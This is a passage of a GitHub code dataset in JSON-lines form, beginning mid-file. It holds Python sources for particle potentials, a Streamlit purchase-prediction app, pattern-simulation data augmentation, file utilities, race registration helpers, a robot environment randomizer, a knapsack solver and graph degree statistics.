nlist.get_particles_within_radius(particle1)\n\n        lj_interaction_tmp = 0\n        for j in range(0,len(neighbors)-1):\n            particle2 = neighbors[j]\n            sigma2 = sigmalist[particle2]\n            epsilon2 = epslist[particle2]\n            sigma = sigma1\n            epsilon = epsilon1\n\n            if (sigma2 != sigma1):\n                sigma = (sigma1 + sigma2) / 2\n\n            if (epsilon2 != epsilon1):\n                epsilon = (epsilon1 + epsilon2) / 2\n\n            r = np.linalg.norm(xyz[particle1, :] - xyz[particle2, :])\n\n            lj_interaction_tmp += lj_potential(r, sigma=sigma, epsilon=epsilon)\n\n        lj_interaction += lj_interaction_tmp\n    return lj_interaction\n\ndef external_potential(xyz, box_length=None):\n    r\"\"\"\n    Compute the external potential for a set of particles.\n\n    Parameters\n    ----------\n    xyz : numpy.ndarray(shape=(n, d))\n        d-dimensional coordinates of n particles.\n    box_length : float, optional, default=None\n        If not None, the area outside [0, box_length]^d\n        is forbidden for each particle.\n\n    Returns\n    -------\n    float\n        Total external potential.\n\n    \"\"\"\n    if box_length is None:\n        return 0.0\n    if np.all(xyz >= 0.0) and np.all(xyz <= box_length):\n        return 0.0\n    return np.inf\n\ndef phi(xyz, sigma=1.0, epsilon=1.0, box_length=None):\n    r\"\"\"\n    Compute the interaction and external potential for a set of particles.\n\n    Parameters\n    ----------\n    xyz : numpy.ndarray(shape=(n, d))\n        d-dimensional coordinates of n particles.\n    sigma : numpy.ndarray(shape=(n, 1))\n        List of zero crossing distances for the Lennard-Jones contribution.\n    epsilon : numpy.ndarray(shape=(n, 1))\n        List of depths of the potential well for the Lennard-Jones contribution.\n    box_length : float, optional, default=None\n        If not None, the area outside [0, box_length]^d\n        is forbidden for each particle.\n\n    Returns\n    -------\n    float\n        Total interaction and external potential.\n\n    \"\"\"\n    return interaction_potential(xyz, sigma=sigma, epsilon=epsilon)#\n    #  TODO don't need external potenial because of periodic boundaries + external_potential(xyz, box_length=box_length)\n\n#testing the functions\n#\n# xyz = np.random.rand(10, 3) * 2.0\n# sigma = [1,1,1,1,1,1,1,1,1,1]\n# epsilon = [5,1,2,3,4,6,7,8,9,5,5]\n# box_length = 2\n\n# print(phi(xyz, sigma, epsilon, box_length))\n\n","repo_name":"SimonTreu/particlesim","sub_path":"particlesim/lennard_jones.py","file_name":"lennard_jones.py","file_ext":"py","file_size_in_byte":4114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39081697961","text":"import pandas as pd\r\nimport streamlit as st\r\nimport joblib\r\nfrom dataset_study_online_shoppers_intention.dataset_analysis_model import tab, plot_1, cmd1, tab_2\r\n\r\nChoice = st.sidebar.selectbox(\"Pages\", (\"Prediction\", \"Dataset online_shoppers_intention\"))\r\npath = 'online_shoppers_intention.csv'\r\n\r\ndef client_caract():\r\n    Administrative = st.sidebar.slider('Administrative',0,26)\r\n    Administrative_Duration = st.sidebar.slider('Administrative_Duration', 0.0, 3398.750000, 0.0001)\r\n    Informational = st.sidebar.slider('Informational',0,24)\r\n    Informational_Duration = st.sidebar.slider('Informational_Duration', 0.0, 2549.375000, 0.0001)\r\n    ProductRelated = st.sidebar.slider('ProductRelated',0,705)\r\n    ProductRelated_Duration = st.sidebar.slider('ProductRelated_Duration', 0.0, 63973.522230, 0.0001)\r\n    BounceRates = st.sidebar.slider('BounceRates', 0.0, 0.2000, 0.0001)\r\n    ExitRates = st.sidebar.slider('ExitRates',0.0, 0.2000, 0.0001)\r\n    PageValues = st.sidebar.slider('PageValues', 0.0, 361.763742, 0.0001)\r\n    SpecialDay = st.sidebar.slider('SpecialDay', 0.0, 1.0, 0.0001)\r\n    Month = st.sidebar.selectbox('Month',('Feb', 'Mar', 'May', 'Oct', 'June', 'Jul', 'Aug', 'Nov', 'Sep',\r\n       'Dec'))\r\n    OperatingSystems = st.sidebar.slider('OperatingSystems',0,8)\r\n    Browser = st.sidebar.slider('Browser',1,13)\r\n    Region = st.sidebar.slider('Region',1,9)\r\n    TrafficType = st.sidebar.slider('TrafficType',1,20)\r\n    VisitorType = st.sidebar.selectbox('VisitorType',('Returning_Visitor','New_Visitor','Other'))\r\n    Weekend = st.sidebar.selectbox('Weekend',('True','False'))\r\n\r\n    data={\r\n    'Administrative' :Administrative,\r\n    'Administrative_Duration' :Administrative_Duration,\r\n    'Informational' :Informational,\r\n    'Informational_Duration' :Informational_Duration,\r\n    'ProductRelated' :ProductRelated,\r\n    'ProductRelated_Duration' :ProductRelated_Duration,\r\n    'BounceRates' :BounceRates,\r\n    'ExitRates' :ExitRates,\r\n    'PageValues' :PageValues,\r\n    'SpecialDay' :SpecialDay,\r\n    'Month' :Month,\r\n    'OperatingSystems': OperatingSystems,\r\n    'Browser' :Browser,\r\n    'Region' :Region,\r\n    'TrafficType' :TrafficType,\r\n    'VisitorType' :VisitorType,\r\n    'Weekend' :Weekend\r\n    }\r\n\r\n    profil_client = pd.DataFrame(data,index = [0])\r\n    return profil_client\r\n\r\ndef predict_RandomForest_28(model, X):\r\n  \"\"\"\r\n  For RandomForest_28 (28 variables)\r\n  \"\"\"\r\n  d = pd.DataFrame(X)\r\n  df = d\r\n  d_ = pd.get_dummies(df)\r\n  col = ['Month_Aug', 'Month_Dec', 'Month_Feb', 'Month_Jul', 'Month_June',\r\n        'Month_Mar', 'Month_May', 'Month_Nov', 'Month_Oct', 'Month_Sep',\r\n        'VisitorType_New_Visitor', 'VisitorType_Other',\r\n        'VisitorType_Returning_Visitor']\r\n  df = d_.reindex(d_.columns.union(col, sort=False), axis=1, fill_value=0)\r\n  return model.predict(df)[0]\r\n\r\ndef predict(model, X):\r\n  \"\"\"\r\n  For other model exept RandomForest_28 (28 variables)\r\n  \"\"\"\r\n  d = pd.DataFrame(X)\r\n  shopping_clean = d.drop(['Month', 'Browser', 'OperatingSystems', 'Region', 'TrafficType', 'Weekend'], axis=1)\r\n  # Encoding Vistor Type\r\n  visitor_encoded = pd.get_dummies(shopping_clean['VisitorType'], prefix='Visitor_Type', drop_first=True)\r\n  d_ = pd.concat([shopping_clean, visitor_encoded], axis=1).drop(['VisitorType'], axis=1)\r\n  col = ['Visitor_Type_Other', 'Visitor_Type_Returning_Visitor']\r\n  d_ = d_.reindex(d_.columns.union(col, sort=False), axis=1, fill_value=0)\r\n  return model.predict(d_)[0]\r\n\r\ndef main():\r\n    global path\r\n    if Choice == \"Dataset online_shoppers_intention\":\r\n        st.title(\"Ameliorations : \")\r\n        st.write(\"- Put all on the API to improve interaction with data\")\r\n        for i in tab:\r\n            st.write(i)\r\n        st.pyplot(plot_1[0])\r\n        st.pyplot(plot_1[1])\r\n        cmd1()\r\n\r\n    else:\r\n        st.sidebar.header(\"Les caractéristiques des personnes \")\r\n        st.write(\" #L'application qui prédit les achats ou non d'une personne\")\r\n        selection = st.sidebar.selectbox(\"Models\", (\r\n        \"RandomForest_2(Acc 91%)\", \"RandomForest_1(Acc 88%)\", \"Gaussian Naive Bayes(Acc 85%) mode\", \"Extra Trees(90%) model\"))\r\n        input_df = client_caract()\r\n\r\n        # transfo donne d'entree en donnée adapté au modèle\r\n        data = pd.read_csv(path)\r\n\r\n        if selection == \"RandomForest_1(Acc 88%)\":\r\n            st.write(\"Using RandomForest_1(Acc 88%) model\")\r\n            path_model = \"C:/Users/maikel/PycharmProjects/final-project-python/random_forest_technical_1.joblib\"\r\n        if selection == \"RandomForest_2(Acc 91%)\":\r\n            st.write(\"Using RandomForest_2(Acc 91%) model\")\r\n            path_model = \"C:/Users/maikel/PycharmProjects/final-project-python/RandomForest_technical_2.joblib\"\r\n        if selection == \"Gaussian Naive Bayes\":\r\n            st.write(\"Using Gaussian Naive Bayes(Acc 85%) model\")\r\n            path_model = \"C:/Users/maikel/PycharmProjects/final-project-python/GaussianNB_technical_2.joblib\"\r\n        if selection == \"Extra Trees\":\r\n            st.write(\"Using Extra Trees(90%) model\")\r\n            path_model = \"C:/Users/maikel/PycharmProjects/final-project-python/ExtraTreesClassifier_technical_2.joblib\"\r\n\r\n        # prendre premiere colonne\r\n        st.subheader(\"Enter the data\")\r\n        st.write(input_df)\r\n        st.subheader(\"Some caracteristics transform with data preprocessing  \")\r\n        st.write(data)\r\n\r\n        # load the model from disk\r\n        loaded_model = joblib.load(path_model)\r\n\r\n        if selection == \"RandomForest_1(Acc 88%)\":\r\n            resultat = predict_RandomForest_28(loaded_model, input_df)\r\n        else:\r\n            resultat = predict(loaded_model, input_df)\r\n\r\n        st.subheader('Prediction')\r\n        st.write(resultat)\r\n        st.write(\"True : The customer will buy\")\r\n        st.write(\"False : The customer will not buy\")\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n\r\n","repo_name":"gmaikel/esilv-engineer-school-projects","sub_path":"online-shoppers-intention-web-application/API/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70806954342","text":"import os\nimport os.path as osp\nfrom os.path import join as pjoin\nimport time\nfrom datetime import datetime\nimport shutil\nimport json\nimport argparse\n\nimport yaml\nimport numpy as np\nnp.seterr(all='raise')\n\nfrom lpf.models import LiawModel\nfrom lpf.initializers import LiawInitializer\nfrom lpf.solvers import EulerSolver\n\nif __name__ == \"__main__\":\n\n    parser = argparse.ArgumentParser(\n        description='Parse configurations for augmentation.'\n    )\n\n    parser.add_argument('--config',\n                        dest='config',\n                        action='store',\n                        type=str,\n                        help='Designate the file path of configuration file in YAML')\n\n        \n    args = parser.parse_args()\n\n    fpath_config = osp.abspath(args.config)        \n            \n    with open(fpath_config, \"rt\") as fin:\n        config = yaml.safe_load(fin)\n    \n    device = str(config[\"DEVICE\"]).lower()\n      \n    verbose = int(config[\"VERBOSE\"])\n    period_output = int(config[\"PERIOD_OUTPUT\"])\n    \n    n_augmentation = int(config[\"N_AUGMENTATION\"])\n    batch_size = int(config[\"BATCH_SIZE\"])\n    dpath_dataset = config[\"DPATH_DATASET\"]  # Input dataset\n    dpath_augdataset = config[\"DPATH_AUGDATASET\"]  # Output dataset\n    \n    os.makedirs(dpath_augdataset, exist_ok=True)\n    \n    \n    # Create the model.\n    dx = float(config[\"DX\"])\n    dt = float(config[\"DT\"])\n    width = int(config[\"WIDTH\"])\n    height = int(config[\"HEIGHT\"])\n    thr = float(config[\"THR\"])\n    n_iters = int(config[\"N_ITERS\"])\n    rtol = float(config[\"RTOL_EARLY_STOP\"])\n    shape = (width, height)\n    \n    \n    dict_fpath = {}\n    list_fpath = []\n    model_dicts = []\n    aug_model_dicts = []\n    \n    for entity in os.listdir(dpath_dataset):\n        if not entity.startswith(\"model_\"):\n            continue\n        \n        fpath_model = osp.join(dpath_dataset, entity)\n        \n        # Get the model ID\n        fname, ext = osp.splitext(entity)\n        items = fname.split('_')        \n        model_id = items[1]\n        \n        fpath_ladybird = osp.join(dpath_dataset, \"ladybird_%s.png\"%(model_id))\n        \n        if not osp.isfile(fpath_model):\n            raise FileNotFoundError(fpath_model)\n        \n        if not osp.isfile(fpath_ladybird):\n            raise FileNotFoundError(fpath_ladybird)\n        \n\n        dict_fpath[model_id] = (fpath_model, fpath_ladybird)\n        list_fpath.append(dict_fpath[model_id])\n        \n        \n        with open(fpath_model, \"rt\") as fin:\n            n2v = json.load(fin)\n            model_dicts.append(n2v)\n    # end of for\n    \n    \n    # Augment using the given models.    \n    for model in model_dicts:\n        for i in range(n_augmentation):\n            \n            aug_model = dict(model)\n            \n            for j in range(25):\n                width = aug_model[\"width\"]\n                height = aug_model[\"height\"]\n                aug_model[\"init_pts_%d\"%(i)] = [np.random.randint(0, height),\n                                                np.random.randint(0, width)]\n            \n            # end of for\n            \n            aug_model_dicts.append(aug_model)\n            \n        # end of for\n    # end of for\n    \n    # Solve the PDEs of models.        \n    ix_batch = 1\n    for i in range(0, len(aug_model_dicts), batch_size):\n        t_beg = time.time()\n\n        batch_model_dicts = aug_model_dicts[i:i+batch_size]\n\n        print(\"[Batch #%d] %d models\"%(ix_batch, len(batch_model_dicts)),\n              end=\"\\n\\n\")        \n        ix_batch += 1\n        \n        \n        # Create the output directory.\n        str_now = datetime.now().strftime('%Y%m%d-%H%M%S')\n        dpath_output = pjoin(dpath_augdataset,\n                             \"augment_batch_%s\" % (str_now))\n        os.makedirs(dpath_output, exist_ok=True)\n     \n        # Copy this source file to the output directory for recording purpose.\n        fpath_src = pjoin(osp.dirname(__file__), osp.basename(__file__))\n        fpath_dst = pjoin(dpath_output, osp.basename(__file__))\n        shutil.copyfile(fpath_src, fpath_dst)\n    \n        # Create initializer\n        initializer = LiawInitializer()\n        \n        # Update the initializer.\n        initializer.update(batch_model_dicts)\n    \n        # Create a model.\n        model = LiawModel(\n            width=width,\n            height=height,\n            dx=dx,\n            initializer=initializer,\n            device=device\n        )\n    \n        # Solve the PDE.\n        params = LiawModel.parse_params(batch_model_dicts)\n        solver = EulerSolver()\n        solver.solve(model=model,\n                     dt=dt,\n                     n_iters=n_iters,\n                     period_output=period_output,\n                     dpath_ladybird=dpath_output,\n                     dpath_pattern=dpath_output,\n                     verbose=verbose)\n        \n\n        for j in range(len(batch_model_dicts)):\n            str_now = datetime.now().strftime('%Y%m%d-%H%M%S')\n            fpath_model_new = pjoin(dpath_augdataset,\n                                    \"model_%s_%d.json\"%(str_now, j))            \n            fpath_ladybird_new = pjoin(dpath_augdataset,\n                                       \"ladybird_%s_%d.png\"%(str_now, j))\n            fpath_pattern_new = pjoin(dpath_augdataset,\n                                      \"pattern_%s_%d.png\"%(str_now, j))\n            \n            model.save_model(index=j,\n                             fpath=fpath_model_new,\n                             initializer=initializer,\n                             solver=solver,\n                             params=params)\n            \n            model.save_image(index=j,\n                             fpath_ladybird=fpath_ladybird_new,\n                             fpath_pattern=fpath_pattern_new)\n        # end of for\n        t_end = time.time()\n    \n        print(\"[Batch Duration] %f sec.\" % (t_end - t_beg), end=\"\\n\\n\")\n","repo_name":"cxinsys/lpf","sub_path":"augmentation/augment_init_pts.py","file_name":"augment_init_pts.py","file_ext":"py","file_size_in_byte":5900,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"18186149184","text":"import os\nimport re\nimport tempfile\n\nfrom qobuz.debug import getLogger\nfrom qobuz.util.common import Struct\n\nlogger = getLogger(__name__)\n\n\ndef unlink(filename):\n    logger.info('unlink %s', filename)\n    if not os.path.exists(filename):\n        logger.warn('InvalidUnlinkPath %s', filename)\n        return False\n    try:\n        os.unlink(filename)\n        return True\n    except Exception as e:\n        logger.error('Unlinking fails: %s, error: %s', filename, e.__str__ )\n    return False\n\n\nclass RenamedTemporaryFile(object):\n    \"\"\"A temporary file object which will be renamed to the specified\n    path on exit.\n\n    From http://stackoverflow.com/\n        questions/12003805/threadsafe-and-fault-tolerant-file-writes\n    \"\"\"\n\n    def __init__(self, final_path, **kwargs):\n        tmpfile_dir = kwargs.pop('dir', None)\n\n        # Put temporary file in the same directory as the location for the\n        # final file so that an atomic move into place can occur.\n\n        if tmpfile_dir is None:\n            tmpfile_dir = os.path.dirname(final_path)\n\n        self.tmpfile = tempfile.NamedTemporaryFile(\n            dir=tmpfile_dir, delete=False, **kwargs)\n        self.final_path = final_path\n\n    def __getattr__(self, attr):\n        \"\"\"Delegate attribute access to the underlying temporary file object.\n        \"\"\"\n        return getattr(self.tmpfile, attr)\n\n    def __enter__(self):\n        self.tmpfile.__enter__()\n        return self\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        if exc_type is None:\n            self.tmpfile.delete = False\n            result = self.tmpfile.__exit__(exc_type, exc_val, exc_tb)\n            os.rename(self.tmpfile.name, self.final_path)\n        else:\n            self.tmpfile.delete = True\n            result = self.tmpfile.__exit__(exc_type, exc_val, exc_tb)\n            os.unlink(self.tmpfile.name)\n        return result\n\n\ndef _find_walk(path):\n    for dirname, _dirnames, filenames in os.walk(path):\n        for filename in filenames:\n            yield Struct(**{\n                'filename': filename,\n                'full_path': os.path.join(dirname, filename)\n            })\n\n\ndef _find_callback(callback, file_info):\n    if callback is None:\n        return True\n    return callback(file_info.full_path)\n\n\ndef find(root_path, pattern, callback=None):\n    flist = []\n    pattern_ok = re.compile(pattern)\n    for file_info in _find_walk(root_path):\n        if pattern_ok.match(file_info.filename):\n            _find_callback(callback, file_info)\n            flist.append(file_info.full_path)\n    return flist\n","repo_name":"tidalf/plugin.audio.qobuz","sub_path":"resources/lib/qobuz/util/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"35"}
{"seq_id":"15342219313","text":"import base64\nimport hashlib\nimport re\nimport time\n\n\nclass DefCategory:\n    name = 'без категории'\n    slug = 'main_category'\n    old = 75\n    yang = 8\n\n    @staticmethod\n    def create(race_obj, category_class):\n        \"\"\" создание категории участников по умолчанию \"\"\"\n        year = int(time.strftime('%Y'))\n        kwargs = {\n            'name': DefCategory.name,\n            'slug': DefCategory.slug,\n            'race': race_obj,\n            'year_old': year - DefCategory.old,\n            'year_yang': year - DefCategory.yang,\n        }\n\n        default = category_class(**kwargs)\n        default.save()\n        return default\n\n\nclass NumbersChecker():\n    @staticmethod\n    def get_free_ranges(booked, num_amount, start=1):\n        \"\"\" принимает список занятых диапазонов вида [(1,10), (31,31), (33, 50)],\n    общее количество номеров (например, 100) и значение начального номера\n    возвращает список своводных диапазонов\n    в виде [(11,30), (32,32), (51, 100)]\"\"\"\n\n        if not booked:\n            return [(start, num_amount)]\n        booked.sort(key=lambda x: x[0])\n        free_ranges = []\n        for elem in booked:\n            if start < elem[0]:\n                free_ranges.append((start, elem[0]-1))\n            start = elem[1] + 1\n        last_booked = booked[-1][1]\n        if last_booked < num_amount:\n            free_ranges.append((last_booked + 1, num_amount))\n        return free_ranges\n\n    @staticmethod\n    def range_free_nums(free_ranges, booked_nums):\n        \"\"\" принимает список свободных диапазонов вида [(11,30), (32,32), (51, 100)]\n    и список зарезервированных номеров (1,11,32,33,55)\n    возвращает список с диапазонами свобоных номеров вида\n    [(12,30), (51,54), (56, 100)]\"\"\"\n\n        booked_nums.sort()\n        nums_amount = len(booked_nums)\n        point = 0\n        free_nums = []\n        for verges in free_ranges:\n            left_verge = verges[0]\n            right_verge = verges[1]\n            for i in range(point, nums_amount):\n                point = i\n                if booked_nums[i] < left_verge:\n                    continue\n                elif booked_nums[i] == left_verge:\n                    left_verge += 1\n                    continue\n                elif booked_nums[i] > right_verge:\n                    break\n                free_nums.append((left_verge, booked_nums[i] - 1),)\n                left_verge = booked_nums[i] + 1\n\n            if left_verge <= right_verge:\n                free_nums.append((left_verge, right_verge),)\n        return free_nums\n\n    @staticmethod\n    def str_free(free_nums):\n        \"\"\"    форматирует список диапазонов вида [(11,30), (32,32), (51, 100)]\n    в строку вида '11-30, 32, 51-100'\"\"\"\n        if not free_nums:\n            return 'Все стартовые номера заняты.'\n        info = 'Для выбора доступны номера:'\n        for verges in free_nums:\n            info += f' {verges[0]}'\n            if verges[0] != verges[1]:\n                info += f'-{verges[1]}'\n            info += ','\n        return info\n\n    @staticmethod\n    def chek_free(num, free_nums):\n        \"\"\"проверяет наличие номера в списке диапазонов вида\n    [(11,30), (32,32), (51, 100)]\"\"\"\n\n        for verges in free_nums:\n            if num in range(verges[0], verges[1] + 1):\n                return True\n        return False\n\n\ndef find_slug(url, prefix, postfix):\n    \"\"\"Извлекает slug из url по известным границам prefix, postfix\"\"\"\n    pattern = f'{prefix}.+{postfix}'\n    slug = re.search(pattern, url).group()\n    return slug.lstrip(prefix).rstrip(postfix)\n\n\ndef get_reg_code(data):\n    '''создает код доступа для участника на основе его рег. данных'''\n    to_hash = data.encode()\n    hs = hashlib.md5(to_hash).digest()\n    return base64.urlsafe_b64encode(hs).decode('ascii').replace('=', '')\n","repo_name":"korey-h/ReadyToGo","sub_path":"ReadyToGo/registration/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"ru","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"16283358938","text":"\"\"\"Randomize the minitaur_gym_alternating_leg_env when reset() is called.\n\nThe randomization include swing_offset, extension_offset of all legs that mimics\nbent legs, desired_pitch from user input, battery voltage and motor damping.\n\"\"\"\n\nimport os, inspect\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparentdir = os.path.dirname(os.path.dirname(currentdir))\nparentdir = os.path.dirname(os.path.dirname(parentdir))\nos.sys.path.insert(0, parentdir)\n\nimport numpy as np\nimport tf.compat.v1 as tf\nfrom pybullet_envs.minitaur.envs import env_randomizer_base\n\n# Absolute range.\nNUM_LEGS = 4\nBATTERY_VOLTAGE_RANGE = (14.8, 16.8)\nMOTOR_VISCOUS_DAMPING_RANGE = (0, 0.01)\n\n\nclass MinitaurAlternatingLegsEnvRandomizer(env_randomizer_base.EnvRandomizerBase):\n  \"\"\"A randomizer that changes the minitaur_gym_alternating_leg_env.\"\"\"\n\n  def __init__(self,\n               perturb_swing_bound=0.1,\n               perturb_extension_bound=0.1,\n               perturb_desired_pitch_bound=0.01):\n    super(MinitaurAlternatingLegsEnvRandomizer, self).__init__()\n    self.perturb_swing_bound = perturb_swing_bound\n    self.perturb_extension_bound = perturb_extension_bound\n    self.perturb_desired_pitch_bound = perturb_desired_pitch_bound\n\n  def randomize_env(self, env):\n    perturb_magnitude = np.random.uniform(low=-self.perturb_swing_bound,\n                                          high=self.perturb_swing_bound,\n                                          size=NUM_LEGS)\n    env.set_swing_offset(perturb_magnitude)\n    tf.logging.info(\"swing_offset: {}\".format(perturb_magnitude))\n\n    perturb_magnitude = np.random.uniform(low=-self.perturb_extension_bound,\n                                          high=self.perturb_extension_bound,\n                                          size=NUM_LEGS)\n    env.set_extension_offset(perturb_magnitude)\n    tf.logging.info(\"extension_offset: {}\".format(perturb_magnitude))\n\n    perturb_magnitude = np.random.uniform(low=-self.perturb_desired_pitch_bound,\n                                          high=self.perturb_desired_pitch_bound)\n    env.set_desired_pitch(perturb_magnitude)\n    tf.logging.info(\"desired_pitch: {}\".format(perturb_magnitude))\n\n    randomized_battery_voltage = np.random.uniform(BATTERY_VOLTAGE_RANGE[0],\n                                                   BATTERY_VOLTAGE_RANGE[1])\n    env.minitaur.SetBatteryVoltage(randomized_battery_voltage)\n    tf.logging.info(\"battery_voltage: {}\".format(randomized_battery_voltage))\n\n    randomized_motor_damping = np.random.uniform(MOTOR_VISCOUS_DAMPING_RANGE[0],\n                                                 MOTOR_VISCOUS_DAMPING_RANGE[1])\n    env.minitaur.SetMotorViscousDamping(randomized_motor_damping)\n    tf.logging.info(\"motor_damping: {}\".format(randomized_motor_damping))\n","repo_name":"bulletphysics/bullet3","sub_path":"examples/pybullet/gym/pybullet_envs/minitaur/envs/env_randomizers/minitaur_alternating_legs_env_randomizer.py","file_name":"minitaur_alternating_legs_env_randomizer.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","stars":11311,"dataset":"github-code","pt":"35"}
{"seq_id":"1872835289","text":"from utils import print_table\n\n\ndef knapsack(items, capacity):\n    num_rows = len(items) + 1 \n    num_cols = capacity + 1 \n\n    t = []\n    for i in range(num_rows):\n        row = []\n        for j in range(num_cols):\n            row.append(None)\n        t.append(row)\n\n    for i in range(num_rows):\n        #set the first column of every row to 0  \n        t[i][0] = 0\n\n    for j in range(num_cols):\n        t[0][j] = 0\n\n    \n    print('items: ', items)\n    for i in range(1, num_rows):\n        value = items[i - 1][1]\n        weight = items[i - 1][0]\n        print('value: ' , value)\n        print('weight: ', weight) \n        for j in range(1, num_cols):\n            if j >= weight:\n                t[i][j] = max(\n                    value + t[i - 1][j - weight],\n                    t[i - 1][j])\n            else:\n                #detemine if choice is even valid\n                #if the item is too heavy\n                #keep best value from previous item\n                t[i][j] = t[i - 1][j]\n\n    print_table(t)            \n    return t[num_rows - 1][num_cols - 1]\n                \ndef main():\n    items = [\n        (1, 1,),\n        (3, 4,),\n        (4, 5,),\n        (5, 7,),\n    ]\n    capacity = 7\n    result = knapsack(items, capacity)\n    print('result: ', result)\n    \n\n\nif __name__ == \"__main__\":\n    main()\n    \n\n","repo_name":"Peterquilll/dynamic_programming","sub_path":"knapsack.py","file_name":"knapsack.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29865421712","text":"import numpy as np\n\n        \ndef normalise(frame_block, width, height):\n    return np.multiply(frame_block, [1.0/width, 1.0/height])\n\ndef flip_x( frame_block):\n    # flip in x\n\n    result = frame_block\n    for i in range(0,frame_block.shape[0]): # for each frame\n        coords = frame_block[i,:,:]\n        flipped_x = np.multiply(coords, [-1,  1]) # in X only!\n        flipped_x = np.add(flipped_x, [width, 0])\n        result[i,:,:] = flipped_x\n\n    return result\n\ndef translate(frame_block, half_shift=8):\n    # random shift x, y\n    dx = rand.randint(-half_shift, half_shift)\n    dy = rand.randint(-half_shift, half_shift)\n\n    result = frame_block\n    for i in range(0,frame_block.shape[0]): # for each frame\n        coords = frame_block[i,:,:]\n        translated = np.add(coords, [dx, dy])\n        result[i,:,:] = translated\n\n    return result\n\ndef scale(frame_block):\n    # scaled from centre of the face set\n    mean = np.mean(np.mean(frame_block, 0), 0) # mean first in frames and then in col direction\n    scale = rand.uniform(0.95, 1.05) # +/- 5% scaling\n\n    result = frame_block\n    for i in range(0,frame_block.shape[0]): # for each frame\n        coords = frame_block[i,:,:]\n        shifted = np.subtract(coords, mean)\n        shifted_scaled = np.multiply(shifted, [scale, scale])\n        scaled = np.add(shifted_scaled, mean)\n        result[i,:,:] = scaled\n\n    return result\n\ndef data_augmentation(frame_block):\n\n    augmented_blocks = [] \n\n    # do some transformations and add these into the list\n    augmented_blocks.append(frame_block) # original\n    augmented_blocks.append(translate(frame_block))\n    augmented_blocks.append(flip_x(frame_block))\n    #augmented_blocks.append(translate(flip_x(frame_block)))\n    #augmented_blocks.append(scale(frame_block))\n    #augmented_blocks.append(translate(scale(frame_block)))\n\n    return augmented_blocks","repo_name":"KassemKallas/MMSP19-videobackdoor","sub_path":"augment_landmarks.py","file_name":"augment_landmarks.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10965263912","text":"# create time : 2018-05-29\n# author : wangbb13\nimport random\n\n\nclass Feature(object):\n    def __init__(self, input_file, new_node):\n        self.input_file = input_file\n        self.new_node = new_node\n        self.node_count = 0\n        self.edge_count = 0\n        self.in_degree_freq = {}  # in-degree: frequency\n        self.out_degree_freq = {}  # out-degree: frequency\n        self.in_degree_list = []\n        self.out_degree_list = []\n        self.min_ind = 0xffffff\n        self.max_ind = 0\n        self.min_outd = 0xffffff\n        self.max_outd = 0\n\n    def extract_from_file(self):\n        file = self.input_file\n        in_degree = {}\n        out_degree = {}\n        node_set = set()\n        with open(file, 'r') as f:\n            for line in f:\n                edge = line.strip().split()\n                node_set.add(edge[0])\n                node_set.add(edge[1])\n                self.edge_count += 1\n                if edge[0] in out_degree:\n                    out_degree[edge[0]] += 1\n                else:\n                    out_degree[edge[0]] = 1\n                if edge[1] in in_degree:\n                    in_degree[edge[1]] += 1\n                else:\n                    in_degree[edge[1]] = 1\n        self.node_count = len(node_set)\n        for _, v in out_degree.items():\n            if v in self.out_degree_freq:\n                self.out_degree_freq[v] += 1\n            else:\n                self.out_degree_freq[v] = 1\n            self.min_outd = min(self.min_outd, v)\n            self.max_outd = max(self.max_outd, v)\n        for _, v in in_degree.items():\n            if v in self.in_degree_freq:\n                self.in_degree_freq[v] += 1\n            else:\n                self.in_degree_freq[v] = 1\n            self.min_ind = min(self.min_ind, v)\n            self.max_ind = max(self.max_ind, v)\n        outd_len = self.max_outd - self.min_outd + 1\n        ind_len = self.max_ind - self.min_ind + 1\n        self.out_degree_list = [0 for _ in range(outd_len)]\n        self.in_degree_list = [0 for _ in range(ind_len)]\n        for k, v in self.out_degree_freq.items():\n            self.out_degree_list[k-self.min_outd] = v\n        for k, v in self.in_degree_freq.items():\n            self.in_degree_list[k-self.min_ind] = v\n\n    def scale(self, degree_list):\n        new_node_count = self.new_node\n        factor = new_node_count / self.node_count\n        leng = len(degree_list)\n        ans_degree_list = [0 for _ in range(leng)]\n        for i in range(leng):\n            ans_degree_list[i] = int(factor * degree_list[i])\n        diff = new_node_count - sum(ans_degree_list)\n        if diff > 0:\n            zeros = 0\n            for i in range(leng):\n                if ans_degree_list[i] == 0:\n                    zeros += 1\n            part = max(int(diff/zeros), 1)\n            for i in range(leng):\n                if ans_degree_list[i] == 0:\n                    if i == 0:\n                        ans_degree_list[i] = part\n                    else:\n                        a = int(random.random() / 5 * ans_degree_list[i-1])\n                        ans_degree_list[i] = a + part\n                        ans_degree_list[i-1] -= a\n        else:\n            for i in range(leng):\n                if ans_degree_list[i] == 0:\n                    ans_degree_list[i] = 1\n        return ans_degree_list\n\n    def get_d(self):\n        pass\n\n    def get_j(self):\n        pass\n","repo_name":"wangbb13/networkG","sub_path":"gscaler/feature.py","file_name":"feature.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
